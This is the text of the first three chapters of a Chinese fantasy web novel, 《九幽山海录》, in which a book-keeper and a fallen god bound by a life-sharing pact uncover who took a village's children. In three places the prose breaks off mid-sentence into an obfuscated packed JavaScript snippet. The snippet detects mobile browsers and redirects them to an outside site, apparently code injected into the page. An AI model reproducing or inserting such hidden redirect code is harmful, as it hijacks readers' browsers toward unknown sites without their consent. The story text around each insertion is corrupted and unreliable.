《九幽山海录》 1. 第一章 一声尖锐的婴儿啼哭划破长夜,惊起林中鸟群飞掠四散。 一身绯红长袍女子闻声而来,轻巧跃至树梢,纤细的身形恰好隐藏在枝叶之中,融于暗夜,双手捧一本金皮书卷。她杏眸发亮,锐利的眼神紧盯声源地。 借着月色,只见泽更水边一只蛊雕正埋首于一襁褓幼婴身上,撕扯他身上的衣物。见情势紧急,女子顾不得暴露,挥手在书卷上写下“雷”字。空中顷刻乌云密布,雷声滚滚,紧接着一道道雷电降至蛊雕周身!劈裂了水边的巨石! 本以为蛊雕会受惊逃回老巢,可谁知直至雷击停止,它都张开巨大的双翼,将婴儿死死护在了自己身下。 “没用吗?”女子紧咬牙关,正思忖着再召一次雷电,身后却传来一道沉冷的声线:“想找死?” 女子蓦地回头,袖中抽出三枚微型袖箭射了出去!然而,袖箭齐刷刷钉在了树干上,扑了个空。 “蠢货,连诱饵都分不清。“男声从树下传来,他一身青衣,背对女子,好似刚才只是顺便打个招呼:“你看清楚自己猎来的是个什么玩意儿。” 蛊雕闻言缓缓收拢翅膀,才发觉身下活生生的婴儿早就不见了,取而代之的是一块等大的婴儿石像! “嗖!”几枚袖箭裂风袭来,直袭蛊雕双眼!然而男子像背后长了眼睛般,只略一挥衣袖,袖箭便急转方向,袭向树上的绯衣女子! 女子一个侧身闪避,轻掠至树下,她一手执那金皮书卷,一手洋洋洒洒再次写下一个“雷”字,下一瞬,夜空雷电奔腾,一条电闪构成的金黄巨龙昂首怒吼一声,直奔向地面上的男子! 男子却波澜不惊,只见他左眼血瞳骤现,徒手捏住巨龙龙角,飞身骑了上去,驾驶着金龙飞向深空。 短短十几秒,巨龙在一次次翻涌哀嚎中突然炸裂,化为一场绚烂烟花,亿万刺目的金霜一粒粒降落覆盖这片不起眼的森林。 “堕神云崖!”女子拔出长剑直指男子:“能徒手解我天书术法者,必是自书中逃离的堕神!” 云崖勾起一侧唇角,戏谑地看着女子:“最后一代守书人欧阳绯珞?”他收起血瞳低声对吓趴在地上的蛊雕道:“愣着做什么,不想活了?” 那蛊雕这才缓过神来,抓紧婴儿石像,不情愿地飞走了。 欧阳绯珞直面云崖,黑眸被金霜映亮,她蹙起秀眉道:“妖物皆当诛!” 下一瞬,她仗剑飞驰而来,直刺云崖心窝!云崖背手转身躲过奇袭,扫堂腿劈风而来!欧阳绯珞一个空翻躲过袭击,掌中飞出1支袖箭! 千分之一秒内,那枚袖箭堪堪出现在了云崖指间,他沉声一笑:“守书人就这点儿本事?叫送死人更合适。” “闭嘴!”欧阳绯珞赤红衣袂翻飞,她长剑回鞘,袖中抽出最后一支袖箭,口中默念术法,微型袖箭瞬间变为长弓! “你高兴地太早了!”欧阳绯珞对准云崖,拉动弓弦,松手的瞬间弓弦之上飞出数十支绯红箭光,像能自动识别般追击云崖! 云崖不断翻身躲闪,然而由于欧阳绯珞不断拉动弓弦,越来越浓密的红色箭雨从四面八方袭来!最终形成一道箭笼,将云崖团团围困在了山脚下。 “大名鼎鼎的堕神也不过如此,”欧阳绯珞追至箭笼前,伸手抚摸着赤红笼阵,不屑道:“你还有什么遗言吗?” “当然,”云崖微微一笑,从胸口掏出一物:“这个,你应该再熟悉不过了。” 那是半枚残缺的乳白色玉佩,断口参差不齐如犬牙,边缘是一朵并蒂莲,只是其中一半莲瓣早已不知去向,空余“同心”两刻字摇曳风中。 欧阳绯珞心尖纠紧,即便玉佩早已不是记忆中的完整模样,但那并蒂莲,那刻字提醒着她,这是父母的遗物,千真万确。 她抓紧箭笼紧盯云崖:“这玉佩为什么会在你手里?你和我的父母到底是什么关系?” 云崖好整以暇地整理了下衣襟,抬眸沉声道:“你先收回这箭笼。” “痴心妄想!” “那就别怪我捏碎它了。” 云崖作势紧捏玉佩,玉身留下一道裂纹,欧阳绯珞心下一惊,忙开口阻拦:“别!我......我放了你,但你要答应把玉佩还我!” 云崖:“那是自然。” 下一刻,欧阳绯珞念诀,绯色箭笼逐渐瓦解消散,云崖活动筋骨,一个甩手把那半枚玉佩丢给了她。 她接过玉佩,手指微微发颤,心头却翻江倒海,她死死攥住玉佩,直到掌心被玉佩的不规则切口硌出红痕,才勉强压下喉间翻涌的酸涩。 半晌,欧阳绯珞沙哑开口:“我父母的死,你知情几分?”她将玉佩捧至心口,蹲坐在湿地上,腰间掉落一枚大理寺令牌。 云崖拾起令牌端详片刻,嘴角勾起讥讽的笑容。他漫不经心地一脚踩碎了令牌道:“狗屁的妖族皆恶,你们人族为了提升修为抓妖族炼丹,那场面可比蛊雕凶残多了。” “堕神云崖,天帝《山河志》曾载你为了满足私欲屠戮十城,尔等妖邪之物皆当诛杀!” 欧阳绯珞收拾好情绪,小心把那半枚玉佩收到腰间,又恢复了不近人情的清冷,她隐藏软弱,目光如炬,作势继续拉弓囚困云崖。 “《山河志》?那本天帝编纂的谎话集?”云崖讥诮开口:“也只有你们这种被洗脑的古板精才信。” 欧阳绯珞:“妖邪休得信口雌黄,天帝也是尔等能冒犯的?” 下一刻,数万绯色箭光齐发,直击云崖命门!云崖收起讥笑,面色冷寂,飞至高空,掌间聚起金色光团直击箭雨! 接触的瞬间,金色光团骤然鼓胀,化为一个巨大的熔炉,将数万箭矢吞噬其中,“轰!”的一声,无数红光与金光融为一体,化为刺目的橙红。箭身上的血焰挣扎翻腾,却在金芒的灼烧下寸寸崩解,化作猩红的点,如万千凋零的火蝶,还未坠落便已灰飞烟灭。 最终,整片箭雨被彻底吞没,天穹之上,唯余那轮炽盛的金色熔炉映照大地,仿佛宣告着不可违逆的天道之威。 欧阳绯珞万万没想到一介堕神竟有此等功力,之前的围困想必对方并没有动真格,怔然之际,云崖突然闪现到她面前,一双金红异瞳紧盯着她的心口。 “你身上有我的神名碎片。” “什么?” 欧阳绯珞还未反应过来,夜空中暴雨突然倾注而下。云崖逼近对方,一把扣住欧阳绯珞的手腕,反手将她狠狠掼到湿滑的岩壁上。大力之下,欧阳绯珞咽喉一股铁锈味上涌,她下意识捂住嘴剧烈地咳喘起来。 “你.....你要做什么?” 云崖双眸闪着光,竭力克制住血液里奔腾的躁动:“马上你自会知晓。” 下一瞬,他一手指尖划破自己掌心,一滴滴金色的神血浮空,凝结组合成一道古老的咒文,每一笔都像烧红的铁烙进了她的心口皮肤深处。 “好痛!”欧阳绯珞拼命挣扎,尖锐的指甲划破了对方的脸。 "别动。"云崖喑哑出腔,一双红金异瞳泛起妖异与神性俱存的光:"除非你想心脉俱碎。" 闻及此,欧阳绯珞浑身一僵,挣扎戛然而止,她身体不自觉的颤抖,嘴上却还是不留情面的:“妖物,我是天帝亲命的守书人,我若死了,天帝绝不会任你苟活!“ 云崖却像没听到她的威胁一般,勾起唇角,戏谑地打量她惊恐的黑瞳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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欧阳绯珞定定望向云崖,某一刻,她突然读懂了对方眼底闪过的一丝隐秘情绪,那不是算计得逞的快意,而是某种更沉重的,近乎绝望的温柔。 "记住,"他抹去她眼角的生理性的泪水:"从今往后,你的命…"突然,云崖闷哼一声,单膝跪地,原来是欧阳绯珞的匕首捅进了他的腹部,云崖捂住伤口,自嘲一笑:“你就这么想杀我?" 然而令欧阳绯珞想不到是,这一刀下去,她也突感腹部剧痛,低头一看,自己同样位置的里衣也被染红了。 “这就是你的目的?” 欧阳绯珞抓紧云崖衣领,逼近几分怒视着他:“你要我的命就凭本事来取,用这种下三滥的手段算什么英雄好汉!“ “你忘了,我是妖邪之物,”云崖抹去嘴角鲜血,森然一笑:“这位小姐,你怎能用你们人族的贤良淑德要求我呢?” “你!”欧阳绯珞气血上涌,苍白的脸都红了几分,腹部还在失血,她已经没力气和对方攀扯了,她松开云崖,恶狠狠地瞪了对方一眼,随后跌坐在了湿冷的地面。 暴雨停歇了,世界又静了,只有契约纹路在血泊中幽幽发亮,那亮光似嘲讽,又似叹息。 最终,欧阳绯珞抵不过这一番折腾,彻底昏迷了过去,云崖为她治好腹部的伤口后便不再理她,任她躺在湿冷的巨石上。他吹了几声口哨,之前逃离的蛊雕突然现了身,爪子里还抓着那块婴儿石像,大大的脑袋嘤嘤着直往云崖怀里钻,一副受了委屈的可怜模样,云崖抚摸着蛊雕的头,沉声道:“放心,我会调查真相,还你个公道。” 随后,他单肩扛起欧阳绯珞,在夜色的掩映下前往事件发生的起点——南疆黑苗寨。 2. 第二章 翌日 欧阳绯珞转醒时已日上三竿,她打量一圈四周,才发现自己已经脱离了那片噩梦般的森林,来到了一家客栈。此刻自己正躺在一张硬板床上,床板硌地她浑身疼。 她深吸一口气勉强坐起,才发现自己身上的衣物是新的,腹部的伤口竟然也奇迹般的消失了。这反常的发展让她头脑恍惚,以为昨夜发生的事只是一场梦。 然而,当她摸到自己心口的星轨纹路时才明白,昨夜经历的并非虚幻,而是真实存在的。 她下了床坐在铜镜前,解开上衣扣子,露出雪白的肩颈,从心口至左侧锁骨堪堪落下一道青蓝星轨,虽然结契时的纹路深可见骨,如今恢复后却像纹身。 “这就是同命契吗?”欧阳绯珞轻抚过那片微红的皮肤,心中冒出各种荒唐的疑问。 据她所知,同命契一旦结成,结契双方便同生共死,她一介肉体凡胎,寿命和堕神是不可比的,难道自己身上有他能利用的东西吗? “叩叩” 房门被叩响,门外传来云崖的声音:“欧阳绯珞,你醒了吗?” 欧阳绯珞穿好衣服,几步探到门边,她的暗器都被缴了,只剩头上束发的簪子。她取下簪子藏在衣袖内,乌黑浓密的头发垂落到腰际。 “我进去了。”云崖没耐心等待她的答复,径直推开门走了进来。四下无人,一阵微风拂过,下一瞬,冰凉的发簪贴近脖颈,尖端刺破了云崖冷白的皮肤。 丝丝鲜血渗出,欧阳绯珞贴近云崖耳边低声道:“别动,否则我不保证接下来会发生什么。” 云崖露出玩味的笑容,他顺从地举起双手:“这位小姐,你怕是忘了,我流血,你也会受伤,我死了,你跟我陪葬。” 欧阳绯珞像没听到警告一般,甚至多用了几分力,把发簪扎向云崖皮肤更深处。 “给我解了这契约。”欧阳绯珞一双黑眸亮地骇人,雪白的脖颈被鲜血染红一片。 云崖没想到她会用这种伤敌一百,自损八千的方式威胁他,对方看来慌不择路了,竟然认为一个簪子能成什么气候。 幼稚的孩子,他嗤笑一声,下一刻以迅雷不及掩耳之势肘击欧阳绯珞胸口,她因吃痛下意识后退了几步,簪子叮当一声掉到了地上。云崖侧身抓住她的手腕,弯下腰稍一用力就将她抗到了肩上。 “你......咳咳......你做什么,放开我!”欧阳绯珞的拳头雨点似的落到云崖身上,云崖丝毫不理会她的抗议,径直走到床边,像丢一块顽石似的“咚”一声把她扔到了硬板床上。 云崖丝毫不怜香惜玉,这一摔震地欧阳绯珞后背生疼,仿佛五脏六腑都跟着错了位,她蜷缩起瘦弱的身躯,脖颈渗血的伤口激地她微微发抖,金皮天书也顺势掉了出来。 “哦?” 云崖拿起天书,随意翻阅了几页,发现内页均为空白,他把天书扔到一边,嘲讽一笑道:“你们守书一族也太不称职了,竟然让天书里的妖兽全跑出来了。” 欧阳绯珞将无字天书抱进怀里,她怒瞪着云崖,一双柳叶眉蹙到一起。她捂住脖颈伤口处,沙哑开口:“堕神云崖,你同我结契,到底有什么目的。” 云崖挑眉,他握住欧阳绯珞手腕,一把将她朝自己拉近几分,一双幽深的金瞳凝视着对方。 “你不是想查这桩案子的真相吗?”云崖抚摸着她的脖颈,答非所问:“我和你一起查,至于同命契,之后再议。”云崖略一施法,欧阳绯珞脖侧的伤口便痊愈了,连同云崖同样位置的血迹也干涸了。 “你得学着惜命,”云崖揉捏着欧阳绯珞的耳垂:“不然哪天真死了,你还怎么找到杀你父母的真凶?还有天书,你身为守书人难道不想把逃跑的妖兽收复吗?” 欧阳绯珞仰躺在床上,眼光流转,一滴泪悄然落下。 云崖这句话的确提醒了她,她吸吸鼻子,一双盈着泪的无机质杏眼定定地望向云崖,眸子虽然漂亮,却透着一股生人勿近的冷。 云崖收回视线,又恢复了往日冷寂的模样,仿佛刚才的几句好意相劝只是她的错觉。 “时不待人,同意了就下来,”云崖打开窗户背对着她:“我在客栈门口等你。”说完纵身一跃,像鸟一样从几十米高的窗台轻巧地飞了下去。 欧阳绯珞大脑混乱一片,只觉荒谬至极,这个男人莫名其妙地出现在她面前,强势地插手干预她的人生,她只活了短短25年,以前只在家中的落魄书院做教书女先生,生活一成不变,见识的人也有限,后来继承了守书人的职位,被大理寺召见后才见识的人多了一些,然而依旧以卵击石,不得要领,为了收复妖兽,一路上,她只能佯装出经验丰富的狠厉模样,借以掩盖内心的不安。她把那半枚玉佩拿出来,双手捧到胸口祈祷:“爹,娘,你们在天之灵一定要保佑女儿。”随后,她将玉佩利落地收回,信步下了楼。 出了客栈看到四周的风土,欧阳绯珞才反应过来自己又回到了南疆黑苗寨。云崖正和一个当地青年谈论着什么。 “不会错的,我们村丢失的孩子全都被蛊雕抓走吃了!”青年咬牙切齿,慷慨激昂:“我邻居家刚满2岁的幼童就被抓走了,过了这么久,肯定骨头都不剩了!他父亲找过那妖兽报仇,至今却也下落不明,说不定也被那妖兽活剐了!” 云崖托腮思索片刻道:“说的这么传神,难道你亲眼见过蛊雕食人?” 青年摇摇头:“我只见过它半夜抓小孩,肯定是抓回自己窝里再吃,它现在学聪明了,总换巢穴,一般人真找不着,自然也没人真亲眼见过它吃人。” 云崖嗤笑一声,嘲讽开口:“真有意思,既然没亲眼见过,又怎能笃定丢失的孩子是被蛊雕吃了?” 青年一听这话,顿时火冒三丈,他面色通红,急得跳脚:“你这人真是奇怪,怎么向着那妖兽?《山河志》里面可都记载地清清楚楚,蛊雕这种凶兽以食人为生,如果它抓小孩不是为了吃,还能为什么?你倒是说说看啊!” 云崖正欲反唇相讥,欧阳绯珞适时开腔打断:“这位大哥所言极是,蛊雕凶恶至极,天帝的《山河志》也早有记载,您放心,我们此行就是前来调查此案,定会早日查明真相,捉拿妖兽,给乡亲们一个交代。” 说完欧阳绯珞拿出刻有“大理寺”三个字的罗盘。 看到这罗盘,那青年消气不少,拧成一条线的浓眉也舒展了,他摆摆手道:“毕竟是人命关天的大事,我岂能胡说不是。” 欧阳绯珞笑道:“那是自然,关于这件案子,您还知道什么线索,麻烦都提供给我们。” “这事我知道的不多,”青年摇摇头道:“不过我可以带你们去见村长,说不定他能提供更多线索。” 欧阳绯珞:“那再好不过了,您请。”言罢一伸手礼让对方,青年是个粗人,没受过这等礼遇,他嘿嘿笑了笑,又不好意思地挠挠头,率先走了几步带路。 欧阳绯珞瞥了一眼云崖,自己先跟着走了,云崖耸耸肩,一副无所谓的模样,却也紧走几步跟了上去。 一路上寨中农户全部房门紧闭,明明是白天,然而街上除了几名乞讨的老人,一个人都不见,冷清地不像话。 云崖:“据我所知,黑苗寨人口几近6000,可这一路上根本没见着几个人。” 青年叹息一声:“这位仙长说得没错,黑苗寨繁荣一度,这几年蛊雕食人愈演愈烈,稍微有点能力的家庭都带着孩子搬走了,搬不走的只能整日闭门不出,人们没什么途径挣钱,经年累月地啃老本,慢慢地寨子就萧条了,人口自然也少了。” 说着话,几人便来到了村长的住所,青年将两人引进,向村长讲明来意,欧阳绯珞再次出示大理寺的罗盘,村长看似才得以信服。 “你们想知道什么?” “麻烦把您知晓的所有细节都告知我们。” 欧阳绯珞恳切道:“大理寺派我来就是为你们排忧解难的。” 村长打量着欧阳绯珞,似乎在斟酌是否要完全信任这过于年轻的面孔,他看向另一边的云崖,嘴角轻微上扬。 “官府的人来过我们这几次,”村长微眯着眼吸手里的艾叶烟,吐出一层层烟圈,他啐了一口痰气愤道:“不过是些没卵子的蠢货,满脑子都是那点俸银,他们根本不在乎我们的死活,只想草草了事后回去邀功。” 欧阳绯珞闻言沉默不语,她不知道该怎么取得对方的信任,难道要说自己和他们不一样这种毫无说服力的话吗? 踯躅之际,云崖开了口:“您家最近有杀鸡招待宾客吗?” 欧阳绯珞疑惑地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“雕虫小技。”蜥蜴妖巨尾一甩,箭光转了个向奔着欧阳绯珞袭来!欧阳绯珞正欲闪避,突然,一道熟悉的金色光团挡在她面前,瞬间吸收了所有箭光。 那是云崖昨天与她对峙的招式,虽明显收敛了不少,但那威力还是掀飞了屋顶。 砖瓦碎石当头砸下,欧阳绯珞下意识躲闪,然而下一瞬,她只觉身体一轻,是云崖揽着她的腰飞向了数米外的安全地带。 “同命契的规矩”云崖舔去她颊边血珠:“你的命是我的。” “不必,”欧阳绯珞推开云崖,反手掏出天书,执笔迅速写下一个“火”字,紧接着,天边似血的晚霞聚集汇笼,下一刻,无数火球下落直击蜥蜴妖! “轰!” 浓烟滚滚,一声声巨响落下,巨大的威力将房屋夷为平地,甚至砸出了一个巨大的坑。 然而欧阳绯珞却没有击中蜥蜴妖的实感,她和云崖走向前查看,除了腥臭味依然浓烈,蜥蜴妖的影子都没见到。 “让他逃了。” 云崖抱臂思索后开口:“蜥蜴妖有遁地的本事,也许走地下逃到别处了。” 欧阳绯珞查看后道:“你们妖族既然能通过气味识别同族,此妖腥臭味又那么重,或许你能靠气味找到他吗?” 云崖歪头笑了笑:“大小姐可把算盘打到我脸上了。” 欧阳绯珞:“物尽其用。” 云崖:“你说的没错,我确实能靠气味找他,可若是对方故意留下气味以此引诱我们前往,那么前方肯定有陷阱。” “兵来将挡水来土掩,”欧阳绯珞收起天书示意:“查案要紧,带路吧。” 云崖无谓地耸耸肩:“那好吧,手给我。” “做什么?” 云崖无奈扶额道:“有时候,我还真分不清你是精明还是迟钝,我说这位大小姐,你不会要靠走路吧,那得猴年马月才能到啊?” 欧阳绯珞难得面上有些挂不住,她轻咳两声把手伸给云崖:“少废话,快带路。” 云崖再次揽住她的腰道:“你就不怀疑我和那妖物勾结故意戕害你吗?” 欧阳绯珞勾唇冷笑一声:“你没那么蠢,想了结我早就动手了,没必要大费周章下同命契后再杀我。”她挑起云崖的下巴轻声道:“我们现在是利益共同体,你最好别耍花招。” 云崖凑近几分盯着她的眸子笑道:“那是自然。” 下一瞬,他搂着欧阳绯珞寻着气味朝着蜥蜴妖的方向追了过去。 3. 第三章 一路上,云崖揽着欧阳绯珞翻山越岭,循着蜥蜴妖的气味,来到一座山洞前。洞内闪着微弱的绿色光芒,越靠近洞口,血腥味和尸臭味更甚。 欧阳绯珞咬着牙,拼命忍住干呕,云崖见她难受地紧,从腰间摸出一粒药丸给她。 “这是什么?” “幽息丸,吃了能在半柱香内失去嗅觉,你会好受一些。” 欧阳绯珞像是听闻什么稀奇事,用异样的眼光看着云崖。 云崖:“不吃扔了。” 欧阳绯珞:“慢着。” 她抢过药丸一口吞下:“谅你也不敢动什么手脚。” 见她吃了,云崖耸耸肩,一脸无所谓。 药丸奏效很快,欧阳绯珞刚吃下就闻不到那股恶心的味道了,连大脑都清醒了几分,她见云崖自始至终都没变脸色,疑道:“你不嫌这味道难闻吗?怎么也不见你吃?” 云崖下意识回答:“以前战场上见得多了,早习惯了。” 战场?他不是被封印在天书里的堕神吗?什么时候上的战场?欧阳绯珞疑窦丛生,正欲多问几句,洞穴内突然发出幼童的微弱的哭叫。 欧阳绯珞顿时起了一身鸡皮疙瘩,她顾不得多想,直接冲进了洞内,却被眼前的景象震惊地说不出话来。 借着幽幽绿光,只见洞穴内整齐摆放了几十具孩童的尸骨,有些已是森森白骨,有些肉身还未完全腐烂,却满目疮痍,脓水流了一地,还有些似乎还剩一口气,发出奄奄一息的哭声。 云崖在洞口看了个大概,正欲进入洞内,突然,轰隆一声巨响,一道石门堪堪落下封住了洞口,生生挡住了他的去路。 “可算是甩掉那丫头了,我最讨厌的就是道貌岸然的人类。”身后,蜥蜴怪鬼鬼祟祟地冒了头,他站在离云崖几米远的地方吐着信子道:“可你不一样,你虽然和那丫头一起,可我看得出你与我是同类。“ 他靠近几分道:“之前的提议考虑的怎么样?只要你肯与我合作抓童男童女,到时候无论鲜血还是骨肉,任你挑选。” 云崖听得嗤笑一声道:“抱歉,我没那么重口,你另请高明吧。”说着便不再理他,转身研究起那道厚重石门。 “别呀,”蜥蜴妖扭着身子来到云崖身边:“你以为就这点好处?肤浅!实话告诉你吧,这抓童男童女是上头的意思,我把这黑苗寨的幼童抓来上供给上头,上头分我点残羹剩饭,这可不是重点,重点是把上头伺候好了,能助咱们涨修为,这才是我的最终目的,明白了吧?” “上头?”云崖疑道:“上头又是哪位?” 蜥蜴妖嘿嘿一笑:“不知道,我也不能说,说了要杀头的。” 云崖心中暗暗记下,他冲蜥蜴妖勾勾手指道:“把这石门打开。” 蜥蜴妖摇摇头:“这洞穴就是焚尸炉,残羹剩饭会被上头丢到这里,而且会定期焚烧,那丫头运气不好,碰巧赶上焚尸的时候了。” 云崖听得太阳穴突突直跳,他一把掐住蜥蜴妖的脖颈恨恨道:“我说了,打开它!” “哎呦,我哪有那本事啊!”蜥蜴妖脖子被紧紧掐住,他憋地脸通红:“那石门是上头设的,我......我一个小喽喽咋可能搞得定嘛!” 云崖双目赤红:“耍我?” 蜥蜴妖:“不仅......不仅开不了,过不了多久,里面就会起火,变成一个大熔炉烧烬一切。” 云崖反手把蜥蜴妖摔到一边石壁上,后退几步,掌间聚起金色光团,一挥手光团袭向石门,然而除了掉落几块石子,石门几乎毫发无损。 该怎么办? 洞穴内 “莫恋生前事,休怀死后怨,此去蓬莱清静地,他日乘鸾再朝天。” 欧阳绯珞并不知道接下来会发生什么,她一一查看了孩童的尸骨,当下正手捧发着金光的天书,闭目默念口诀打算超度死去的亡魂。 金色的光线从天书中流泻而出,团团包绕住数十具孩童的尸骨,吸收了无数的怨念,下一刻,在洞穴内的石壁上由吸收了怨念的金色丝线描绘呈现出一道影像。 画面内出现一帮村民,正残忍地杀害了一只蛊雕幼崽,剥皮抽筋,做成肉汤由众人分吃。 下一瞬,镜头转至成年蛊雕,它正用翅膀围搂着窝内剩余的幼崽,默默垂泪,那是欧阳绯珞昨天追杀的那只。 之后,画面转至村庄,蜥蜴妖出现了,一道人形黑影在和他交代着什么,欧阳绯珞加大术法,想看清那道黑影的真容,然而像隔着一层天然的屏障,无论怎么努力也探不到对方分毫。只见那蜥蜴妖道:“黑苗寨的村长已经被我杀了,我化成他蛰伏在村落,适时下手。” 黑影人发出机械运转般的低沉声音,像是经过特殊处理一样:“今晚你就变成蛊雕为我抓获童男童女,好处少不了你的。” 蜥蜴人咧嘴一笑:“多谢首领。” 紧接着夜幕降临,蜥蜴人真的化成了一只活灵活现成年蛊雕,它大肆席卷了黑苗寨,将无数村民的孩童掳走献祭给了那黑影人。 村子里,蛊雕食人的传言就这么传开了。 一转眼,镜头又落到那只失去一只幼崽的蛊雕身上,只见它来到这座山洞,趁没人注意,将还活着的孩童叼到自己的窝里喂奶,看来是为解失去孩子的相思之苦,把情感转移到了人类幼崽身上。然而蛊雕生活的环境终究恶劣,叼来的孩子没几天就会死去,这时候他会再偷偷来山洞叼一只人类幼崽喂养,以解相思之愁。 然而流言四起,真正的蛊雕虽然不是凶手,却被村民火烧巢穴,蛊雕只能被迫带着剩余3只幼崽离开了原来的巢穴,深入森林。 影像到这里就结束了,欧阳绯珞看向这群死去的孩童,心中感慨万千,她抱起其中一个还能发出微弱哭声的孩子轻声道:“谢谢你们告诉我真相,放心,我会救你们的。” “你看,蛊雕这种所谓的凶兽,不过是不肯配合演戏的傻子。” 心中传来云崖的声音,欧阳绯珞一惊,她大声问道:“堕神云崖?你也进来了?” “没有,我被关在外面,”心中再次响起云崖的声音:“我现在通过同命契与你共享五感。” 欧阳绯珞虽然惊讶,却也松了口气:“下次提前打个招呼。” 云崖继续道:“现在知道真相了吧,蛊雕虽然被《山河志》记载为凶兽,但他并未真的伤人,作恶者另有其人。” 欧阳绯珞沉默半晌后开口:“我知道你要表达什么,你想告诉我妖兽并非皆恶,但话说回来,这次事件我更倾向于偶然,你别忘了,本次事件的真凶依然是妖!” 云崖正欲再言,欧阳绯珞打断他:“我不会改变对妖的态度,你我终归殊途,希望你明白这一点。” 云崖轻笑一声:“无所谓,你怎么看待妖是你的事,不过我要提醒你一点,再待下去,咱俩都得玩儿完。” 欧阳绯珞:“什么意思?” 渐渐的,最后一个孩子的哭声也消失了,金色丝线变得暗淡直至消失,天书中的“渡”字却悄然扭曲变形成一道“弑”字。 这是怎么回事?欧阳绯珞疑惑之际,洞内的绿色蜡烛突然火光滔天,将丢弃在一边的数件孩童衣物烧了起来。 焚尸灭迹开始了。 “就是这个意思,”云崖认真了起来:“那个洞穴是焚尸炉,你再待下去小命不保。” 欧阳绯珞闻言迅速在天书中写下“雷”字,打算召唤天雷劈裂石门,然而时间一分一秒地过去,什么动静都没出现。 竟然失效了,这个洞穴似乎有什么特殊磁场,能屏蔽掉天书和外界的链接。 洞内火势愈来愈盛,天书派不上用场的欧阳绯珞和自断一臂没什么区别,她难得心焦,竟有些束手无策。 这时,云崖声音再度响起,那是嘹亮悠长的口哨声。 欧阳绯珞疑惑之际,突然听到洞穴外一声熟悉的叫声,那是昨天她追杀的那只蛊雕的鸣叫。 洞内火光滔天,浓烟滚滚,欧阳绯珞把孩童的尸骨一个个搬离火源,她呼吸越来越急促,豆大的汗滴滚落到地面,空气逐渐稀薄,她跌坐在地上,捂住口鼻却抵不住大口喘息。 再不出去,被烧死之前就先被烟呛死了。 洞外 蛊雕降落在云崖身边,云崖抚摸着它的头沉声道:“本来想把这枚碎片在你那寄存久一点,现在情况紧急,只能提前取出来了,你莫要怪我。” 蛊雕听懂了他的话,顺从地趴下腹部朝上,云崖将手覆上,在与神名碎片共鸣下,蛊雕嗦囊处发出夺目的亮光,他微一用力,碎片便通过蛊雕咽喉滑了出来,掉落在云崖温热的手心。 云崖微微低头,神名碎片感应到了原主人的靠近,化为一道白光瞬间钻进了他的心口。 云崖直感胸口略微发烫,全身血液都沸腾了起来,一下下冲撞着额前太阳穴,一股强盛的法力在四肢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161244|180646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百骸流窜。 他飞升到空中,看向石门,此刻那道门早已被缝隙里渗出的浓烟掩盖了全貌。 “欧阳绯珞,你还醒着吧?” 云崖再度通过同命契传声,洞穴内,欧阳绯珞昏昏沉沉间听到云崖的声音,竭力让自己打起精神,高温炙烤下,她口干舌燥,一张嘴嗓子都干的发哑:“我醒着呢,你找到什么办法没有?” 云崖:“你听着,现在尽量往洞穴深处走,我要施法炸掉这道石门。” 欧阳绯珞强打精神:“好。”她想把几十具孩童的尸骨一并往里移动,但因空气逐渐匮乏,她力气渐渐不够用,最后只能把刚刚咽气的几个孩子搬进了洞穴深处。 “准备好了!“她紧紧抱住那几个死去的孩童的躯体,身体尽量蜷缩,等待云崖的行动。 洞穴外 云崖血瞳骤现,他掌间聚力,口中念诀,于空中形成一把由灵力汇聚成的巨大长剑,剑尖对准石门中心。 艳阳高照,闷热的空气一瞬凝滞,“去吧。”云崖轻声开口,巨大的灵剑如有生命一般直冲向石门! “轰!” 巨响之下,地面都为之颤动,石门与灵剑接触的瞬间即刻化为无数碎石,飞溅四裂! 大量空气涌入洞穴,本以为火苗会烧地更盛,然而奇怪的是,一接触外界空气,绿色的火光反而熄灭了。 昏昏沉沉间,阳光照到欧阳绯珞的脸上,她没有力气睁眼,只感觉身边有什么人靠近,随后身体一轻,那之后她便陷入深眠,再醒来时,自己躺在了一张硬板床上,她回到了那家客栈。 云崖坐在床边,正目不转睛地看着她。 她下意识起身,抓着云崖衣袖急切开口:“那些孩子的尸骨呢?你没把他们丢在山洞里不管吧?” 云崖嘴角抽动:“我有那么不靠谱么?”他强迫欧阳绯珞躺下继续道:“你睡回笼觉的时候我可一刻没闲着,放心吧,孩童的尸骨我找村民帮忙运出来,已经妥善处理了。如今真相大白,那蜥蜴妖被我废了法力,又被村民们扒皮抽筋,当下正钓到村口示众呢,不过那黑影人确实还不知道怎么回事。” “能压制天书法力的,除了你,恐怕只有神裔能做到了。” 欧阳绯珞沉默半晌,云崖正想说些什么,突然天书发出金光,欧阳绯珞掏出天书翻开,发现无字天书在扉页竟然有文字生成,还有一张蛊雕的图片。 迟疑之际,云崖开口道:“我将蛊雕嗦囊内的神名碎片取回,冤情也解开了,现在它自愿回归天书了。” 欧阳绯珞抚摸着那张图,把上面的文字读了一遍又一遍,心中欣喜难耐,面上却依旧平静,她抬起头正视着云崖道:“堕神云崖,现在能说了吗?” 云崖笑了笑:“当然。” 他一边踱步一边道:“欧阳绯珞,我想与你合作,我帮你查妖兽案,你帮我找回神名碎片。” 欧阳绯珞:“神名碎片?”她看了眼自己的心口道:“那是什么?” 